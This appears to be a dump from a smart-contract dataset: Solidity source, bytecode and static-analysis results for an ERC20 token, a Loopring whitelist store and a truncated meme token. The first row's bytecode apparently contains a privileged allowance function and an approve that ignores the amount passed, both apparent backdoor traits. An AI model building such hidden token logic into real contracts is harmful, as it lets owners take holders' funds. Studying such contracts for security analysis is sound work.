* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101475780638f931b3f1461015a57806395d89b411461016d578063a457c2d714610175578063a9059cbb14610188578063dd62ed3e1461019b576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100f757806323b872dd1461010c578063313ce5671461011f5780633950935114610134575b600080fd5b6100c16101ae565b6040516100ce91906106dc565b60405180910390f35b6100ea6100e53660046106a8565b610240565b6040516100ce91906106d1565b6100ff610263565b6040516100ce91906108ff565b6100ea61011a36600461066d565b610269565b610127610297565b6040516100ce9190610908565b6100ea6101423660046106a8565b61029c565b6100ff61015536600461061a565b6102c8565b6100ea6101683660046106a8565b6102e7565b6100c1610335565b6100ea6101833660046106a8565b610344565b6100ea6101963660046106a8565b610397565b6100ff6101a936600461063b565b6103af565b6060600380546101bd90610945565b80601f01602080910402602001604051908101604052809291908181526020018280546101e990610945565b80156102365780601f1061020b57610100808354040283529160200191610236565b820191906000526020600020905b81548152906001019060200180831161021957829003601f168201915b5050505050905090565b60008061024b6103da565b9050610259818560016103de565b5060019392505050565b60025490565b6000806102746103da565b9050610281858285610492565b61028c8585856104de565b506001949350505050565b601290565b6000806102a76103da565b905061025981856102b884886103af565b6102c3906001610916565b6103de565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546000906001600160a01b03166102fe6103da565b6001600160a01b03161461031157600080fd5b600061031b6103da565b600554909150610259906001600160a01b031685856103de565b6060600480546101bd90610945565b60008061034f6103da565b9050600061035d82866103af565b9050838110156103885760405162461bcd60e51b815260040161037f906108ba565b60405180910390fd5b61028c82866102c3878561092e565b6000806103a26103da565b90506102598185856104de565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104045760405162461bcd60e51b815260040161037f90610876565b6001600160a01b03821661042a5760405162461bcd60e51b815260040161037f90610772565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104859085906108ff565b60405180910390a3505050565b600061049e84846103af565b905060001981146104d857818110156104c95760405162461bcd60e51b815260040161037f906107b4565b6104d884846102c3858561092e565b50505050565b6001600160a01b0383166105045760405162461bcd60e51b815260040161037f90610831565b6001600160a01b03821661052a5760405162461bcd60e51b815260040161037f9061072f565b6105358383836105fe565b6001600160a01b0383166000908152602081905260409020548181101561056e5760405162461bcd60e51b815260040161037f906107eb565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906105a5908490610916565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105ef91906108ff565b60405180910390a36104d88484845b505050565b80356001600160a01b03811681146102e257600080fd5b60006020828403121561062b578081fd5b61063482610603565b9392505050565b6000806040838503121561064d578081fd5b61065683610603565b915061066460208401610603565b90509250929050565b600080600060608486031215610681578081fd5b61068a84610603565b925061069860208501610603565b9150604084013590509250925092565b600080604083850312156106ba578182fd5b6106c383610603565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b81811015610708578581018301518582016040015282016106ec565b818111156107195783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561092957610929610980565b500190565b60008282101561094057610940610980565b500390565b60028104600182168061095957607f821691505b6020821081141561097a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220ae457097d67bb0591e5b600b964d9ab54f4019865f13b8c6025b4f3b8126560064736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 3,262 |
0x1663647389993181D13CB45E2113C5d92Fa89e70
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
// File: contracts/iface/Wallet.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <daniel@loopring.org>
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// Note: 1) this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly. 2) Reentrancy inside this function should
/// NOT cause any problems.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
// File: contracts/base/DataStore.sol
// Copyright 2017 Loopring Technology Limited.
/// @title DataStore
/// @dev Modules share states by accessing the same storage instance.
/// Using ModuleStorage will achieve better module decoupling.
///
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract DataStore
{
modifier onlyWalletModule(address wallet)
{
requireWalletModule(wallet);
_;
}
function requireWalletModule(address wallet) view internal
{
require(Wallet(wallet).hasModule(msg.sender), "UNAUTHORIZED");
}
}
// File: contracts/lib/AddressSet.sol
// Copyright 2017 Loopring Technology Limited.
/// @title AddressSet
/// @author Daniel Wang - <daniel@loopring.org>
contract AddressSet
{
struct Set
{
address[] addresses;
mapping (address => uint) positions;
uint count;
}
mapping (bytes32 => Set) private sets;
function addAddressToSet(
bytes32 key,
address addr,
bool maintainList
) internal
{
Set storage set = sets[key];
require(set.positions[addr] == 0, "ALREADY_IN_SET");
if (maintainList) {
require(set.addresses.length == set.count, "PREVIOUSLY_NOT_MAINTAILED");
set.addresses.push(addr);
} else {
require(set.addresses.length == 0, "MUST_MAINTAIN");
}
set.count += 1;
set.positions[addr] = set.count;
}
function removeAddressFromSet(
bytes32 key,
address addr
)
internal
{
Set storage set = sets[key];
uint pos = set.positions[addr];
require(pos != 0, "NOT_IN_SET");
delete set.positions[addr];
set.count -= 1;
if (set.addresses.length > 0) {
address lastAddr = set.addresses[set.count];
if (lastAddr != addr) {
set.addresses[pos - 1] = lastAddr;
set.positions[lastAddr] = pos;
}
set.addresses.pop();
}
}
function removeSet(bytes32 key)
internal
{
delete sets[key];
}
function isAddressInSet(
bytes32 key,
address addr
)
internal
view
returns (bool)
{
return sets[key].positions[addr] != 0;
}
function numAddressesInSet(bytes32 key)
internal
view
returns (uint)
{
Set storage set = sets[key];
return set.count;
}
function addressesInSet(bytes32 key)
internal
view
returns (address[] memory)
{
Set storage set = sets[key];
require(set.count == set.addresses.length, "NOT_MAINTAINED");
return sets[key].addresses;
}
}
// File: contracts/lib/Ownable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Ownable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// File: contracts/lib/Claimable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/lib/OwnerManagable.sol
// Copyright 2017 Loopring Technology Limited.
contract OwnerManagable is Claimable, AddressSet
{
bytes32 internal constant MANAGER = keccak256("__MANAGED__");
event ManagerAdded (address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager
{
require(isManager(msg.sender), "NOT_MANAGER");
_;
}
modifier onlyOwnerOrManager
{
require(msg.sender == owner || isManager(msg.sender), "NOT_OWNER_OR_MANAGER");
_;
}
constructor() Claimable() {}
/// @dev Gets the managers.
/// @return The list of managers.
function managers()
public
view
returns (address[] memory)
{
return addressesInSet(MANAGER);
}
/// @dev Gets the number of managers.
/// @return The numer of managers.
function numManagers()
public
view
returns (uint)
{
return numAddressesInSet(MANAGER);
}
/// @dev Checks if an address is a manger.
/// @param addr The address to check.
/// @return True if the address is a manager, False otherwise.
function isManager(address addr)
public
view
returns (bool)
{
return isAddressInSet(MANAGER, addr);
}
/// @dev Adds a new manager.
/// @param manager The new address to add.
function addManager(address manager)
public
onlyOwner
{
addManagerInternal(manager);
}
/// @dev Removes a manager.
/// @param manager The manager to remove.
function removeManager(address manager)
public
onlyOwner
{
removeAddressFromSet(MANAGER, manager);
emit ManagerRemoved(manager);
}
function addManagerInternal(address manager)
internal
{
addAddressToSet(MANAGER, manager, true);
emit ManagerAdded(manager);
}
}
// File: contracts/stores/WhitelistStore.sol
// Copyright 2017 Loopring Technology Limited.
/// @title WhitelistStore
/// @dev This store maintains a wallet's whitelisted addresses.
contract WhitelistStore is DataStore, AddressSet, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
// wallet => whitelisted_addr => effective_since
mapping(address => mapping(address => uint)) public effectiveTimeMap;
event Whitelisted(
address wallet,
address addr,
bool whitelisted,
uint effectiveTime
);
event DappWhitelisted(
address addr,
bool whitelisted
);
constructor() DataStore() {}
function addToWhitelist(
address wallet,
address addr,
uint effectiveTime
)
external
onlyWalletModule(wallet)
{
addAddressToSet(_walletKey(wallet), addr, true);
uint effective = effectiveTime >= block.timestamp ? effectiveTime : block.timestamp;
effectiveTimeMap[wallet][addr] = effective;
emit Whitelisted(wallet, addr, true, effective);
}
function removeFromWhitelist(
address wallet,
address addr
)
external
onlyWalletModule(wallet)
{
removeAddressFromSet(_walletKey(wallet), addr);
delete effectiveTimeMap[wallet][addr];
emit Whitelisted(wallet, addr, false, 0);
}
function addDapp(address addr)
external
onlyManager
{
addAddressToSet(DAPPS, addr, true);
emit DappWhitelisted(addr, true);
}
function removeDapp(address addr)
external
onlyManager
{
removeAddressFromSet(DAPPS, addr);
emit DappWhitelisted(addr, false);
}
function whitelist(address wallet)
public
view
returns (
address[] memory addresses,
uint[] memory effectiveTimes
)
{
addresses = addressesInSet(_walletKey(wallet));
effectiveTimes = new uint[](addresses.length);
for (uint i = 0; i < addresses.length; i++) {
effectiveTimes[i] = effectiveTimeMap[wallet][addresses[i]];
}
}
function isWhitelisted(
address wallet,
address addr
)
public
view
returns (
bool isWhitelistedAndEffective,
uint effectiveTime
)
{
effectiveTime = effectiveTimeMap[wallet][addr];
isWhitelistedAndEffective = effectiveTime > 0 && effectiveTime <= block.timestamp;
}
function whitelistSize(address wallet)
public
view
returns (uint)
{
return numAddressesInSet(_walletKey(wallet));
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
function isDappOrWhitelisted(
address wallet,
address addr
)
public
view
returns (bool res)
{
(res,) = isWhitelisted(wallet, addr);
return res || isAddressInSet(DAPPS, addr);
}
function _walletKey(address addr)
private
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("__WHITELIST__", addr));
}
}
|
0x608060405234801561001057600080fd5b50600436106101825760003560e01c8063b6b35272116100d8578063e52c35581161008c578063f3ae241511610066578063f3ae2415146105a0578063f8d3277d146105d3578063ff2120ef1461060e57610182565b8063e52c355814610532578063e68777d714610565578063f2fde38b1461056d57610182565b8063ce7eaf01116100bd578063ce7eaf01146104ac578063e09e83e3146104e7578063e30c39781461052a57610182565b8063b6b3527214610411578063cbb3dc3e1461046757610182565b806365a6e9db1161013a5780638da5cb5b116101145780638da5cb5b146102e15780639b19251a14610312578063ac18de43146103de57610182565b806365a6e9db14610279578063715018a6146102d157806372311705146102d957610182565b8063439b7b7d1161016b578063439b7b7d146101ef5780634e71e0c81461023e578063627c55f61461024657610182565b806327b7ca5f146101875780632d06177a146101bc575b600080fd5b6101ba6004803603602081101561019d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610616565b005b6101ba600480360360208110156101d257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661070a565b61022a6004803603604081101561020557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661079c565b604080519115158252519081900360200190f35b6101ba6107e3565b6101ba6004803603602081101561025c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166108ff565b6102816109f1565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102bd5781810151838201526020016102a5565b505050509050019250505060405180910390f35b6101ba610a21565b610281610b16565b6102e9610b41565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6103456004803603602081101561032857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b5d565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610389578181015183820152602001610371565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156103c85781810151838201526020016103b0565b5050505090500194505050505060405180910390f35b6101ba600480360360208110156103f457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c62565b61044c6004803603604081101561042757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610d56565b60408051921515835260208301919091528051918290030190f35b61049a6004803603602081101561047d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610da3565b60408051918252519081900360200190f35b61049a600480360360408110156104c257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610dbc565b6101ba600480360360608110156104fd57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610dd9565b6102e9610e91565b61022a6004803603602081101561054857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ead565b61049a610ed9565b6101ba6004803603602081101561058357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f04565b61022a600480360360208110156105b657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661107c565b6101ba600480360360408110156105e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166110a8565b61049a611144565b61061f3361107c565b61068a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e4f545f4d414e41474552000000000000000000000000000000000000000000604482015290519081900360640190fd5b6106b67fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d804833482600161116f565b6040805173ffffffffffffffffffffffffffffffffffffffff831681526001602082015281517fb42e48248460da8b1c3bdf7b9d87ec3bacce70f1df93f67d63b75ae90c5862f2929181900390910190a150565b60005473ffffffffffffffffffffffffffffffffffffffff16331461079057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6107998161138b565b50565b60006107a88383610d56565b50905080806107dc57506107dc7fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d8048334836113fb565b9392505050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461086957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b6109083361107c565b61097357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e4f545f4d414e41474552000000000000000000000000000000000000000000604482015290519081900360640190fd5b61099d7fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d804833482611436565b6040805173ffffffffffffffffffffffffffffffffffffffff831681526000602082015281517fb42e48248460da8b1c3bdf7b9d87ec3bacce70f1df93f67d63b75ae90c5862f2929181900390910190a150565b6060610a1c7fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d8048334611652565b905090565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aa757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6060610a1c7fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8611652565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b606080610b71610b6c84611750565b611652565b9150815167ffffffffffffffff81118015610b8b57600080fd5b50604051908082528060200260200182016040528015610bb5578160200160208202803683370190505b50905060005b8251811015610c5c5773ffffffffffffffffffffffffffffffffffffffff841660009081526003602052604081208451909190859084908110610bfa57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054828281518110610c4957fe5b6020908102919091010152600101610bbb565b50915091565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ce857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b610d127fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f882611436565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fef69f7d97228658c92417be1b16b19058315de71fecb435d07b7d23728b6bd3190600090a250565b73ffffffffffffffffffffffffffffffffffffffff80831660009081526003602090815260408083209385168352929052908120548015801590610d9a5750428111155b91509250929050565b6000610db6610db183611750565b6117c5565b92915050565b600360209081526000928352604080842090915290825290205481565b82610de3816117db565b610df7610def85611750565b84600161116f565b600042831015610e075742610e09565b825b73ffffffffffffffffffffffffffffffffffffffff8087166000818152600360209081526040808320948a168084529482529182902085905581519283528201929092526001818301526060810183905290519192507fd7a53629773662075985a51ef3a24a90133adb7ccc8e2b26402b8376964d0845919081900360800190a15050505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000610db67fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d8048334836113fb565b6000610a1c7fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f86117c5565b60005473ffffffffffffffffffffffffffffffffffffffff163314610f8a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811615801590610fca575060005473ffffffffffffffffffffffffffffffffffffffff828116911614155b61103557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f494e56414c49445f414444524553530000000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000610db67fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8836113fb565b816110b2816117db565b6110c46110be84611750565b83611436565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152600360209081526040808320948716808452948252808320839055805193845290830193909352818301819052606082015290517fd7a53629773662075985a51ef3a24a90133adb7ccc8e2b26402b8376964d08459181900360800190a1505050565b6000610a1c7fadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d80483346117c5565b600083815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845260018101909252909120541561121057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f414c52454144595f494e5f534554000000000000000000000000000000000000604482015290519081900360640190fd5b81156112de57600281015481541461128957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f50524556494f55534c595f4e4f545f4d41494e5441494c454400000000000000604482015290519081900360640190fd5b80546001810182556000828152602090200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff851617905561134c565b80541561134c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4d5553545f4d41494e5441494e00000000000000000000000000000000000000604482015290519081900360640190fd5b60028101805460019081019182905573ffffffffffffffffffffffffffffffffffffffff90941660009081529190930160205260409020919091555050565b6113b77fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f882600161116f565b60405173ffffffffffffffffffffffffffffffffffffffff8216907f3b4a40cccf2058c593542587329dd385be4f0b588db5471fbd9598e56dd7093a90600090a250565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600101909152902054151592915050565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff851684526001810190925290912054806114d757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e4f545f494e5f53455400000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526001830160205260408120556002820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905581541561164c5760008260000183600201548154811061154557fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff9081169150841681146115e7578083600001600184038154811061158657fe5b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055918316815260018501909152604090208290555b82548390806115f257fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055505b50505050565b6000818152600260208190526040909120805491810154606092146116d857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f4e4f545f4d41494e5441494e4544000000000000000000000000000000000000604482015290519081900360640190fd5b6000838152600260209081526040918290208054835181840281018401909452808452909183018282801561174357602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611718575b5050505050915050919050565b604080517f5f5f57484954454c4953545f5f0000000000000000000000000000000000000060208083019190915260609390931b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000016602d820152815180820360210181526041909101909152805191012090565b6000908152600260208190526040909120015490565b604080517fc7b2e596000000000000000000000000000000000000000000000000000000008152336004820152905173ffffffffffffffffffffffffffffffffffffffff83169163c7b2e596916024808301926020929190829003018186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d602081101561187157600080fd5b505161079957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fdfea2646970667358221220ac5fd440c97a4885ba3e5f3a27bce9a396ed292b35ee6fb9fb98a324fcd3a51164736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}]}}
| 3,263 |
0x690efef0ce9efd71a76a7d4eb7cbbf40b7491475
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
//https://twitter.com/elonmusk/status/1508367467269136387
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
